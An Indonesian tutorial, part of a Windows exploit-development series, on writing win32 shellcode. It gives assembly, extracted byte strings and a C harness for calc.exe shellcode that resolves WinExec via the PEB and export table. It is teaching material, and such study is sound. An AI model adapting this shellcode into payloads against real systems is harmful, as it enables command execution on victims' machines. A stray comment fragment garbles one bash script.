Membangun Eksploitasi Windows Bagian 7: Membuat shellcode sendiri (win32)

Tulisan ini akan berusaha menjelaskan apa yang sebenarnya terjadi ketika sebuah shellcode dieksekusi, yang pada akhirnya memberikan gambaran bahwa kita dapat membuat shellcode sendiri.

Setelah bermain-main dengan buffer overflow beberapa minggu lalu, kita sudah melihat bagaimana sebuah fungsi yang mengalami buffer overflow dapat dimanfaatkan untuk mengambil alih aliran aplikasi dan diarahkan ke kode-kode yang kita tentukan sendiri. Kode-kode yang disebut shellcode ini merupakan rangkaian bahasa rakitan dalam bentuk heksadesimal, yang berinteraksi langsung dengan komputer untuk mengeksekusi perintah-perintah sistem operasi. Dari kemarin, shellcode yang kita gunakan adalah shellcode bind shell yang membuka port 4444 pada target yang berhasil dieksploitasi. Dulu saya selalu bertanya-tanya, apa yang sebenarnya dilakukan oleh shellcode? Saya juga pernah melihat subbagian shellcode di Exploit-DB (sampai sekarang masih ada), beberapa peretas menaruh shellcode-nya disana dan tentu saja kita bisa memakai shellcodeshellcode tersebut. Namun apakah semua shellcode aman untuk digunakan? Bagaimana kita tahu bahwa shellcode tersebut benar-benar mengeksekusi perintah sistem operasi yang ditentukan? Tentu saja tidak ada yang dapat memastikan hal tersebut selain kita sendiri, yaitu dengan cara mengujinya. Tulisan ini akan berusaha menjelaskan apa yang sebenarnya terjadi ketika sebuah shellcode dieksekusi, yang pada akhirnya memberikan gambaran bahwa kita dapat membuat shellcode sendiri. Lingkup pembahasan pada tulisan ini hanya mencakup pembuatan shellcode yang umum digunakan.

Peralatan yang diperlukan untuk mengikuti pembuatan shellcode dalam tulisan ini:

Bedanya Windows dan Linux shellcode

Tidak seperti pada sistem Linux dimana kita dapat berinteraksi dengan kernel melalui int 0x80 atau syscalls (system calls), kita tidak dapat berinteraksi langsung dengan kernel pada sistem Windows. Untuk dapat berkomunikasi dengan instruksi pada sistem (system calls), kita harus menggunakan fungsi-fungsi yang direferensikan melalui sebuah alamat pada sebuah Dynamic Link Library atau yang biasa kita kenal dengan sebutan DLL. Alamat dari fungsi-fungsi ini akan sangat bervariasi antar versi Windows, sementara pada sistem Linux, syscall numbers akan selalu sama. Hal inilah yang menyebabkan pembuatan shellcode pada sistem Windows sedikit lebih rumit karena apabila kita membuat sebuah shellcode pada sistem Windows XP SP3, maka shellcode tersebut tidak akan dapat berjalan pada sistem Windows 7. Ketidakandalan ini yang akhirnya memaksa beberapa peneliti kreatif menghasilkan teknik-teknik yang membuat shellcode menjadi generik dan dapat berjalan di semua versi Windows. Teknik-teknik tersebut seperti:

  • Mencari otomatis alamat dasar (base address) sebuah modul, misal mencari secara otomatis alamat dasar modul kernel32.dll agar kita dapat mengetahui persis alamat fungsi WinExec yang memang ada di modul tersebut. Sebagai contoh, cara sederhananya adalah dengan melakukan kalkulasi base address+offset ke fungsi WinExec.
  • Melakukan resolve symbols dengan cara memanggil export directory table sebuah PE image, tujuannya agar fungsi tersebut dapat kita panggil melalui shellcode secara relatif.
  • Menggunakan hash untuk mencari fungsi pada sebuah modul agar dapat langsung direferensikan alamatnya.

Calc shellcode, kenapa?

Beberapa eksploit di Exploit-DB menggunakan shellcode yang mengeksekusi program kalkulator sebagai pembuktian sebuah eksploit (proof of concept exploit) karena program kalkulator memiliki nama calc.exe, yang pada lingkungan Windows dapat dipersingkat dengan hanya memanggil calc. Karena dapat dipanggil dengan nama yang singkat (calc hanya mengandung 4 karakter), penggunaan byte pada shellcode jadi sedikit. Selain itu, mengeksekusi program kalkulator (calc.exe) bersamaan dengan program yang sedang berjalan (dengan memanfaatkan kerentanan) sekaligus membuktikan sebuah teori remote command execution.

Calc shellcode sebenarnya hanya memanggil fungsi WinExec dan ExitProcess pada Windows. Shellcode akan berusaha memenuhi parameter fungsi yang dibutuhkan, lalu memanggil fungsi-fungsi tersebut. Karena sederhana, shellcode yang dihasilkan biasanya juga tidak besar. Ukurannya dari yang paling kecil (statik) 16 byte sampai yang sudah dinamik dan generik sekitar 100-190 byte. Karena alasan inilah kenapa calc shellcode sering dipakai sebagai proof of concept untuk pembuktian command execution pada sebuah eksploitasi kerentanan.

Kita akan coba membuat shellcode sederhana yang akan mengeksekusi perintah sistem operasi pada sistem Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Untuk membuat shellcode ini, kita perlu mengetahui alamat dari fungsi WinExec dan ExitProcess, kedua fungsi ini ada di modul kernel32.dll. Kita juga dapat melihat parameter yang dibutuhkan oleh WinExec dan ExitProcess sebagai berikut:

WinExec (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec)

UINT WinExec(
LPCSTR lpCmdLine,
UINT uCmdShow
);

ExitProcess (https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-exitprocess)

void ExitProcess(
UINT uExitCode
);

Untuk mencari kedua alamat fungsi tersebut, kita bisa meminjam skrip arwin.c berikut:

#include <windows.h>
#include <stdio.h>
/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   [email protected]
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK
this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/
int main(int argc, char** argv)
{
	HMODULE hmod_libname;
	FARPROC fprc_func;
	printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
	if(argc < 3)
	{
		printf("%s <Library Name> <Function Name>\n",argv[0]);
		exit(-1);
	}
	hmod_libname = LoadLibrary(argv[1]);
	if(hmod_libname == NULL)
	{
		printf("Error: could not load library!\n");
		exit(-1);
	}
	fprc_func = GetProcAddress(hmod_libname,argv[2]);
	if(fprc_func == NULL)
	{
		printf("Error: could find the function in the library!\n");
		exit(-1);
	}
	printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
}

Saya kompilasi skrip di atas menggunakan Dev-C++ versi 5.11, lalu saya jalankan untuk mencari alamat kedua fungsi di atas.

Setelah mengetahui kedua alamat fungsi tersebut, kita bisa segera menuliskan kode bahasa rakitan (asm) seperti berikut (sebagian besar saya pinjam dari projectshellcode.com tutorial 3: Windows Command Execution Shellcode):

;calc.asm
;credit: Tyron Miller (@tyronmiller)
[Section .text]
BITS 32
global _start
_start:
jmp short GetCommand      ;lompat ke string perintah calc
CommandReturn:            ;membuat label agar string calc ditaruh di stack
    pop ebx               ;string calc akan ada di ebx
    xor eax,eax           ;mengosongkan eax 
    push eax              ;menaruh nilai kosong ke stack untuk parameter WinExec
    push ebx              ;menaruh string calc ke stack
    mov ebx,0x757dcd60    ;menaruh alamat fungsi WinExec ke ebx
    call ebx              ;panggil fungsi WinExec di ebx
    xor eax,eax           ;mengosongkan eax setelah dipakai oleh fungsi WinExec
    push eax              ;menaruh nilai kosong ke stack untuk parameter ExitProcess
    mov ebx, 0x757a4060   ;menaruh alamat fungsi ExitProcess ke ebx 
    call ebx              ;panggil fungsi ExitProcess(0);
GetCommand:               ;membuat label untuk lokasi dari of string calc
    call CommandReturn    ;memanggil label agar lokasi dari string di taruh ke stack
    db "calc"             ;string calc.exe.
    db 0x00               ;akhir dari string yaitu karakter null.

Simpan skrip bahasa rakitan di atas dengan nama calc.asm, lalu kompilasi menggunakan NASM.

PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o calc.bin .\calc.asm

Untuk mengeluarkan kode mesin pada calc.bin kita dapat memanfaatkan Kali Linux atau Ubuntu WSL (Windows Subsystem for Linux). Saya akan menggunakan Ubuntu WSL yang dapat dengan mudah dipasang pada sistem Windows 10. Berikut ini adalah skrip Bash yang dapat digunakan untuk mengeluarkan kode mesin shellcode dalam bentuk heksa (saya juga meminjamnya dari projectshellcode.com):

#!/bin/bash
#credit: Tyron Miller (@tyronmiller)
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi;ebx now points to the string
filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode
for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

Cara menggunakannya yaitu dengan menjalankan skrip Bash di atas pada Ubuntu WSL seperti berikut:

Hasil dari skrip Bash xxd-shellcode.sh

Atau kita juga dapat menjalankan command line seperti berikut:

$ hexdump -v -e '"\\x" 1/1 "%02x"' asm/calc.bin
atau
$ xxd -p asm/calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g'

Hasil shellcode tersebut akan kita kompilasi lagi dengan skrip shellcodetest.c untuk memastikan apakah shellcode yang kita buat berjalan.

/*shellcodetest.c
credit: steve hanna - vividmachines.com
*/
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\x60\xcd\x7d\x75\xff\xd3\x31\xc0\x50\xbb\x60\x40\x7a\x75\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c\x63\x00";
int main(int argc, char **argv)
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Setelah dikompilasi (saya menggunakan Dev-C++ 5.11) lalu dijalankan dengan command prompt, program kalkulator (calc.exe) seharusnya akan muncul.

Shellcode yang kita buat berhasil menjalankan program kalkulator (calc.exe)

Sampai saat ini kita telah membuat shellcode sendiri yang mengeksekusi program kalkulator (calc.exe) pada sistem Windows 10. Apabila kita susun per 8 byte baris, maka shellcode tersebut berukuran 34 bytes dan dapat kita lihat sebagai berikut:

shellcode = ""
shellcode += "\xeb\x16\x5b\x31\xc0\x50\x53\xbb"
shellcode += "\x60\xcd\x7d\x75\xff\xd3\x31\xc0"
shellcode += "\x50\xbb\x60\x40\x7a\x75\xff\xd3"
shellcode += "\xe8\xe5\xff\xff\xff\x63\x61\x6c"
shellcode += "\x63\x00"

Jika kita perhatikan, terdapat karakter “\x00” yang merupakan karakter null. Null byte dibutuhkan untuk mengakhiri string (dalam hal ini string calc). Seperti yang sudah kita ketahui bahwa karakter null berpotensi ditolak (bad characters) oleh program. Apabila shellcode di atas kita gunakan sebagai shellcode sebagai proof of concept eksploit, besar kemungkinan shellcode di atas tidak berjalan dengan baik.

Menyiasati null byte pada shellcode

Sebelumnya kita sudah mengetahui cara menghilangkan null byte dengan menggunakan msfvenom namun pada tulisan kali ini, kita akan coba menghilangkan null byte dengan mengganti beberapa instruksi sebelumnya dengan deretan instruksi baru sebagai berikut:

push 0x636c6163            ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                    ;menyimpannya di ebx
xor eax,eax                ;mengosongkan nilai eax
push eax                   ;dorong nilai null ke stack pengganti null byte sebelumnya
push ebx                   ;dorong string calc ke stack
mov ebx,esp                ;menyimpan string calc 

Jika digabungkan, maka akan seperti ini:

;calc2.asm
[Section .text]
BITS 32
global _start
_start:
push 0x636c6163            ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                    ;menyimpannya di ebx
xor eax,eax                ;mengosongkan nilai eax
push eax                   ;dorong nilai null ke stack pengganti null byte sebelumnya
push ebx                   ;dorong string calc ke stack
mov ebx,esp                ;menyimpan string calc
push eax                   ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx                   ;menaruh string calc ke stack untuk parameter WinExec
mov ebx,0x76bccd60         ;menaruh alamat fungsi WinExec ke ebx
call ebx                   ;panggil fungsi WinExec di ebx
xor eax,eax                ;mengosongkan eax setelah dipakai oleh fungsi WinExec
push eax                   ;menaruh nilai kosong ke stack untuk parameter ExitProcess
mov ebx,0x76b94060         ;menaruh alamat fungsi ExitProcess ke ebx
call ebx                   ;panggil fungsi ExitProcess(0);

Setelah kita kompilasi dengan nasm dan mengeluarkan kode mesin yang menjadi shellcode, hasilnya seperti ini:

shellcode = ""
shellcode += "\x68\x63\x61\x6c\x63\x5b\x31\xc0"
shellcode += "\x50\x53\x89\xe3\x50\x53\xbb\x60"
shellcode += "\xcd\xbc\x76\xff\xd3\x31\xc0\x50"
shellcode += "\xbb\x60\x40\xb9\x76\xff\xd3"

Total shellcode adalah 31 bytes. Jika diperhatikan, apa yang saya lakukan di atas hanya akal-akalan yang tidak kreatif yaitu mengakali null byte dengan cara mengganti penulisan byte yang sebelumnya direferensikan dengan label GetCommand dan diikuti oleh instruksi call CommandReturn , db "calc" lalu db 0x00 dengan instruksi pengganti sebagai berikut:

push 0x636c6163             ;mendorong nilai 636c6163 yang merupakan string calc dalam bentuk heksa ke stack
pop ebx                     ;menyimpannya di ebx
xor eax,eax                 ;mengosongkan nilai eax
push eax                    ;dorong nilai null ke memori stack pengganti null byte sebelumnya
push ebx                    ;dorong string calc ke memori stack
mov ebx,esp                 ;menyimpan string calc

Instruksi push 0x636c6163 mendorong string calc ke memori stack lalu menyimpannya di register ebx (instruksi pop ebx). Setelah itu instruksi xor eax,eax dan push eax mengosongkan nilai pada register eax dan mendorongnya ke memori stack. Instruksi berikutnya push ebx dan mov ebx, esp akan mendorong string calc yang sudah ada di register ebx ke memori stack, lalu memindahkan alamat memori stack teratas yang ditunjuk oleh register esp ke register ebx. Dengan begitu, alamat memori yang menunjuk ke string calc akan dipegang oleh register ebx. Instruksi selanjutnya sama dengan sebelumnya sebagai berikut:

push eax                   ;menaruh nilai kosong ke stack untuk parameter WinExec
push ebx                   ;menaruh string calc ke stack untuk parameter WinExec
mov ebx,0x76bccd60         ;menaruh alamat fungsi WinExec ke ebx
call ebx                   ;panggil fungsi WinExec di ebx

Instruksi push eax menaruh nilai kosong ke stack untuk parameter WinExec yang membutuhkan parameter CmdShow. Instruksi berikutnya push ebx dan mov ebx, 0x76bccd60 menaruh string calc ke memori stack untuk mengisi parameter kedua yaitu CmdLine, berikutnya register ebx ditimpa dengan alamat fungsi WinExec di kernel32.dll yang ada di 0x76bccd60 (alamat ini bisa berbeda-beda setiap versi Windows, ditambah lagi dapat berubah-ubah ketika sistem operasi dimuat ulang karena adanya ASLR). Instruksi call ebx akan memanggil fungsi tersebut. Hasilnya sama seperti sebelumnya, program kalkulator akan tereksekusi.

Membuat shellcode yang generik (umum)

Pada tulisan di atas, shellcode yang kita tulis merupakan shellcode spesifik yang hanya berjalan di Windows 10 Enterprise Evaluation (version 2004, build 19041.388). Lalu bagaimana kita membuatnya untuk dapat berjalan pada versi Windows lain (Windows 7, 8, 8.1, 10)? Jika kita perhatikan, ada beberapa hal yang memaksa kondisi shellcode di atas menjadi kondisi yang spesifik:

  1. Alamat kernel32.dll yang berubah-ubah karena versi Windows, dalam hal ini khusus Windows 10 Enterprise Evaluation (version 2004, build 19041.388)
  2. Alamat kernel32.dll yang berubah-ubah saat dimuat ulang karena ASLR
  3. Karena alamat kernel32.dll berubah-ubah, kita tidak dapat mengetahui alamat ke fungsi WinExec dan ExitProcess dengan pasti

Dengan mengetahui kondisi di atas, yang perlu diatasi yaitu bagaimana mengetahui alamat kernel32.dll setiap versi Windows sehingga kita selalu dapat “mengambil” (resolve) fungsi WinExec dan ExitProcess yang ada di kernel32.dll setiap versi Windows dan mereferensikannya di shellcode. Jika diringkas, untuk membuat shellcode yang generic perlu melakukan hal berikut:

  1. Mencari alamat dasar (base address) dari modul kernel32.dll
  2. Mencari alamat ke fungsi WinExec dan ExitProcess
  3. Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi WinExec
  4. Menaruh argument/parameter yang dibutuhkan dan memanggil fungsi ExitProcess

Mencari alamat dasar modul kernel32.dll

Ada beberapa teknik yang dapat digunakan untuk mencari alamat dasar dari kernel32.dll diantaranya:

  • Melihat di PEB melalui posisi ketiga dari parameter InMemoryOrderModuleList yang selalu diisi oleh alamat dasar kernel32.dll
  • Melihat di TEB lalu melakukan loop dan mencari string MZ (0x5a4d), karena kernel32.dll merupakan executable yang mengandung header MZ.

Pada tulisan kali ini, saya akan menggunakan teknik pada poin pertama yaitu mencari alamat dasar kernel32.dll melalui PEB. Tehnik ini didasari pengetahuan bahwa salah satu anggota PEB yang bernama Ldr menyimpan penunjuk ke strukturPEB_LDR_DATA yang menyimpan informasi modul-modul yang dimuat pada proses tersebut. Struktur dari PEB_LDR_DATA dapat kita lihat sebagai berikut:

typedef struct _PEB_LDR_DATA {
  BYTE Reserved1[8];
  PVOID Reserved2[3];
  LIST_ENTRY InMemoryOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

Seperti yang kita lihat di struktur di atas, terdapat anggota yang bernamaInMemoryOrderModuleList. Bagian ini mengandung awalan dari daftar double linked-list (Flink dan Blink) yang berisi referensi alamat modul-modul pada proses tersebut.

typedef struct _LIST_ENTRY {
  struct _LIST_ENTRY *Flink;
  struct _LIST_ENTRY *Blink;
} LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY;

Setiap isi dalam daftar tersebut adalah penunjuk ke struktur LDR_DATA_TABLE_ENTRY yang memiliki struktur sebagai berikut:

typedef struct _LDR_DATA_TABLE_ENTRY {
  PVOID Reserved1[2];
  LIST_ENTRY InMemoryOrderLinks;
  PVOID Reserved2[2];
  PVOID DllBase;
  PVOID EntryPoint;
  PVOID Reserved3;
  UNICODE_STRING FullDllName;
  BYTE Reserved4[8];
  PVOID Reserved5[3];
  union {
      ULONG CheckSum;
      PVOID Reserved6;
  };
  ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

DllBase pada struktur di ataslah yang akan memegang alamat dasar dari kernel32.dll. Namun untuk mengambil alamat tersebut, kita perlu melakukan kalkulasi yang tepat agar mendapatkan alamat kernel32.dll yang sesuai. Teori di atas dapat kita uji dengan cara menjalankan file shellcodetest.exe menggunakan WinDbg.

Untuk mengambil alamat dasar kernel32.dll, kita bisa mengambil nilai PEB lalu menaruhnya di salah satu register, misalkan register EBX. Pertama-tama kita bisa mengosongkan nilai EBX dengan instruksi xor ebx,ebx. Alamat PEB berada di fs:[0+0x30], kita bisa menggunakan instruksi mov ebx, [fs:ebx+0x30] untuk mengambil nilai PEB dan menaruhnya di EBX. Selanjutnya kita dapat mengeksekusi instruksi mov ebx, [ebx+0xC] untuk mengeluarkan informasi dari Ldr (penunjuk ke _LDR_DATA). Kita bisa melihatnya lebih detail dengan mengeksekusi perintah dt _PEB melalui WinDbg:

Posisi PEB pada saat program dimuat ke WinDbg
Posisi Ldr pada PEB ($peb+0xc)

Setelah mendapatkan penunjuk ke Ldr, posisi daftar InMemoryOrderModuleList terdapat pada _PEB_LDR_DATA + 0x14. Dapat kita lihat pula bahwa pada posisi _PEB_LDR_DATA + 0x1c terdapat daftar lain yaitu InInitializationOrderModuleList yang rupanya mengandung double linked-list yang juga berdekatan dengan posisi alamat dasar kernel32.dll.

Daftar InMemoryOderModuleList dan InInitializationOrderModuleList sama-sama menunjuk ke double linked-list yang mengarah ke alamat dasar kernel32.dll

Karena kedua daftar tersebut dapat dimanfaatkan untuk mengekstrak alamat dasar kernel32.dll, saya akan pilih salah satu yaitu InMemoryOrderModuleList. Untuk mengekstraknya, kita tinggal mengeksekusi instruksimov ebx, [ebx+0x14] yang mengekstrak nilai _PEB_LDR_DATA +0x14 yang merupakan pointer dari Ldr.InMemoryOrderModuleList. Nilai pada alamat ini jika direferensikan maka akan mengeluarkan nilai Flink dan Blink yang mengarah ke alamat dasar dari kernel32.dll.

Daftar dari ntdll yang mereferensikan alamat flink blink dan mengandung alamat dasar kernel32.dll

Seperti bisa terlihat pada cuplikan layar di atas, alamat dasar kernel32.dll ada di 0x76b70000(pada mesin saya), posisi ini ditunjuk oleh _LIST_ENTRY.Flink-0x08. Kita juga bisa lihat bahwa DllBase ada di offset _LDR_DATA_TABLE_ENTRY+0x18. Jika kita terjemahkan maka akan menjadi 0x00693d70-0x08+0x18 yang jika dipersingkat melalui perintah WinDbg menjadi:

0:000> dd poi(poi(poi(poi(@$peb+0xc)+0x14)))+0x10 L1
00693d80 76b70000

Jika kita buat dalam bahasa rakitan maka menjadi seperti ini:

; Find kernel32.dll base address
; different approach using InMemoryOrderModuleList
; credit to Bobby Cooke (boku)
; https://www.exploit-db.com/shellcodes/48116
 xor ebx, ebx            ; EBX = 0x00000000
 mov ebx, [fs:ebx+0x30]  ; EBX = Address_of_PEB
 mov ebx, [ebx+0xC]      ; EBX = Address_of_LDR
 mov ebx, [ebx+0x14]     ; EBX = 1st entry in InMemoryOrderModuleList / ntdll.dll
 mov ebx, [ebx]          ; EBX = 2nd entry in Flink / kernelbase.dll
 mov ebx, [ebx]          ; EBX = 3rd entry in Flink / kernel32.dll
 mov eax, [ebx+0x10]     ; EAX = &kernel32.dll / Address of kernel32.dll
 mov [ebp-0x4], eax      ; [EBP-0x04] = &kernel32.dll

Skrip di atas yang saya pinjam dari Exploit-DB (https://www.exploit-db.com/shellcodes/48116) dengan sedikit perubahan, akan menyimpan alamat dasar kernel32.dll ke register EAX. Setelah kita mendapatkan alamat dasar dari kernel32.dll, kita bisa pakai nilai ini untuk melakukan pencarian (resolve) fungsi WinExec dan ExitProcess secara dinamik yang berarti alamat tersebut dapat selalu ditemukan walaupun alamat dasar kernel32.dll berubah.

Mencari alamat ke fungsi WinExec dan ExitProcess

Tehnik umum yang digunakan untuk mencari alamat dari fungsi WinExec dan ExitProcess adalah dengan melakukan pencarian di Export Directory Table yang memang terdapat pada setiap PE (portable executable) image.

Teknik ini akan melakukan pencarian fungsi yang kita inginkan, dalam hal ini WinExec dan ExitProcess, dengan cara loop di dalam Export Table. Jika disederhanakan, teknik ini akan:

  1. Mencari alamat Export Table dengan cara mengkalkulasi offset dari PE Header ditambah dengan 0x78. Hasil kalkulasi akan mengeluarkan RVA (Relative Virtual Address) dari Export Table.
  2. Mencari RVA dari Name Pointer Table dengan cara menjumlahkan RVA Export Table dengan 0x20. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  3. Mencari RVA dari Ordinal Table dengan cara menjumlahkan RVA Export Table dengan 0x24. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  4. Mencari RVA dari Address Table dengan cara menjumlahkan RVA Export Table dengan 0x1c. Nilai dari kalkulasi ini akan disimpan ke memori stack sebagai referensi.
  5. Mencari jumlah Exported Functions yang terdapat pada modul kernel32.dll, hal ini ditujukan untuk mengetahui berapa fungsi yang diperlukan untuk loop selama pencarian fungsi WinExec dan ExitProcess. Untuk mencarinya tinggal menjumlahkan hasil RVA Export Table dengan 0x14. Nilai dari kalkulasi ini akan disimpan ke stack sebagai referensi
  6. Setelah nilai dari Export Table berhasil disimpan sebagai referensi, langkah selanjutnya adalah dengan mendorong string WinExec dan ExitProcess ke memori stack dan mencarinya dengan loop.
  7. Proses loop ini akan mencari string WinExec dan ExitProcess dengan cara membandingkan nilai string yang ingin ditemukan (WinExec dan ExitProcess) di dalam lingkup jumlah Exported Functions yang ada. Jika masih dalam jumlah lingkup Exported Functions, maka pencarian akan terus berlanjut. Pencarian akan berhenti apabila proses loop menemukan awal dari string WinExec dan ExitProcess di dalam salah satu register (8 bytes pertama).
  8. Setelah alamat dari fungsi WinExec ditemukan, maka proses selanjutnya adalah mendorong string calc.exe ke memori stack dan memanggil alamat fungsi WinExec yang sudah ditemukan sebelumnya.
  9. Untuk fungsi ExitProcess, sama seperti WinExec, tinggal mendorong nilai null sebagai parameter yang dibutuhkan oleh ExitProcess untuk mematikan proses tersebut.

Jika dalam bentuk bahasa rakitan, maka proses di atas akan menjadi seperti ini (saya masih meminjam dari https://www.exploit-db.com/shellcodes/48116):

; Find the address of the WinExec Symbol within kernel32.dll
; + The hex values will change with different versions of Windows
; Find the address of the Export Table within kernel32.dll
 mov ebx, [eax+0x3C]     ; EBX = Offset NewEXEHeader  = 0xF8
 add ebx, eax            ; EBX = &NewEXEHeader        = 0xF8 + &kernel32.dll
 mov ebx, [ebx+0x78]     ; EBX = RVA ExportTable      = 0x777B0 = [&NewExeHeader + 0x78]
 add ebx, eax            ; EBX = &ExportTable         = RVA ExportTable + &kernel32.dll
; Find the address of the Name Pointer Table within kernel32.dll
; + Contains pointers to strings of function names - 4-byte/dword entries
 mov edi, [ebx+0x20]     ; EDI = RVA NamePointerTable = 0x790E0
 add edi, eax            ; EDI = &NamePointerTable    = 0x790E0 + &kernel32.dll
 mov [ebp-0x8], edi      ; save &NamePointerTable to stack frame
; Find the address of the Ordinal Table
;   - 2-byte/word entries
 mov ecx, [ebx+0x24]     ; ECX = RVA OrdinalTable     = 0x7A9E8
 add ecx, eax            ; ECX = &OrdinalTable        = 0x7A9E8 + &kernel32.dll
 mov [ebp-0xC], ecx      ; save &OrdinalTable to stack-frame
; Find the address of the Address Table
 mov edx, [ebx+0x1C]     ; EDX = RVA AddressTable     = 0x777CC
 add edx, eax            ; EDX = &AddressTable        = 0x777CC + &kernel32.dll
 mov [ebp-0x10], edx     ; save &AddressTable to stack-frame
; Find Number of Functions within the Export Table of kernel32.dll
 mov edx, [ebx+0x14]     ; EDX = Number of Functions  = 0x642
 mov [ebp-0x14], edx     ; save value of Number of Functions to stack-frame
jmp short functions
findFunctionAddr:
; Initialize the Counter to prevent infinite loop
 xor eax, eax            ; EAX = Counter = 0
 mov edx, [ebp-0x14]     ; get value of Number of Functions from stack-frame
; Loop through the NamePointerTable and compare our Strings to the Name Strings of kernel32.dll
searchLoop:
 mov edi, [ebp-0x8]      ; EDI = &NamePointerTable
 mov esi, [ebp+0x18]     ; ESI = Address of String for the Symbol we are searching for
 xor ecx, ecx            ; ECX = 0x00000000
 cld                     ; clear direction flag - Process strings from left to right
 mov edi, [edi+eax*4]    ; EDI = RVA NameString      = [&NamePointerTable + (Counter * 4)]
 add edi, [ebp-0x4]      ; EDI = &NameString         = RVA NameString + &kernel32.dll
 add cx, 0x8             ; ECX = len("WinExec,0x00") = 8 = 7 char + 1 Null
 repe cmpsb              ; compare first 8 bytes of [&NameString] to "WinExec,0x00"
 jz found                ; If string at [&NameString] == "WinExec,0x00", then end loop
 inc eax                 ; else Counter ++
 cmp eax, edx            ; Does EAX == Number of Functions?
 jb searchLoop           ;   If EAX != Number of Functions, then restart the loop
found:
; Find the address of WinExec by using the last value of the Counter
 mov ecx, [ebp-0xC]      ; ECX = &OrdinalTable
 mov edx, [ebp-0x10]     ; EDX = &AddressTable
 mov ax,  [ecx + eax*2]  ;  AX = ordinalNumber   = [&OrdinalTable + (Counter*2)]
 mov eax, [edx + eax*4]  ; EAX = RVA WinExec     = [&AddressTable + ordinalNumber]
 add eax, [ebp-0x4]      ; EAX = &WinExec        = RVA WinExec + &kernel32.dll
 ret
functions:
; Create string 'WinExec\x00' on the stack and save its address to the stack-frame
 mov edx, 0x63657878     ; "cexx"
 shr edx, 8              ; Shifts edx register to the right 8 bits
 push edx                ; "\x00,cex"
 push 0x456E6957         ; EniW : 456E6957
 mov [ebp+0x18], esp     ; save address of string 'WinExec\x00' to the stack-frame
 call findFunctionAddr   ; After Return EAX will = &WinExec
; Call WinExec( CmdLine, ShowState );
;   CmdLine   = "calc.exe"
;   ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window
 xor ecx, ecx          ; clear eax register
 push ecx              ; string terminator 0x00 for "calc.exe" string
 push 0x6578652e       ; exe. : 6578652e
 push 0x636c6163       ; clac : 636c6163
 mov ebx, esp          ; save pointer to "calc.exe" string in eax
 inc ecx               ; uCmdShow SW_SHOWNORMAL = 0x00000001
 push ecx              ; uCmdShow  - push 0x1 to stack # 2nd argument
 push ebx              ; lpcmdLine - push string address stack # 1st argument
 call eax              ; Call the WinExec Function
; Create string 'ExitProcess\x00' on the stack and save its address to the stack-frame
 xor ecx, ecx          ; clear eax register
 mov ecx, 0x73736501     ; 73736501 = "sse",0x01 // "ExitProcess",0x0000 string
 shr ecx, 8              ; ecx = "ess",0x00 // shr shifts the register right 8 bits
 push ecx                ;  sse : 00737365
 push 0x636F7250         ; corP : 636F7250
 push 0x74697845         ; tixE : 74697845
 mov [ebp+0x18], esp     ; save address of string 'ExitProcess\x00' to stack-frame
 call findFunctionAddr   ; After Return EAX will = &ExitProcess
; Call ExitProcess(ExitCode)
 xor edx, edx
 push edx                ; ExitCode = 0
 call eax                ; ExitProcess(ExitCode)

Jika digabungkan maka seperti yang kita lihat pada tautan Exploit-DB di https://www.exploit-db.com/shellcodes/48116. Penulis shellcode, Bobby Cooke, mendokumentasikan pembuatan shellcode nya dengan sangat baik sehingga memberikan gambaran apa yang dilakukan bahasa rakitan di atas. Jika dieksekusi, maka hasilnya akan sama dengan shellcode yang kita buat sebelumnya.

PS C:\Users\User\Desktop\shellcode-build\asm> nasm.exe -f bin -o generic-calc.bin .\generic-calc.asm
tom@WinDev2007Eval:/mnt/c/Users/User/Desktop/shellcode-build$ xxd -p asm/generic-calc.bin | tr -d '\n' | sed 's/(..)/\x\1/g'
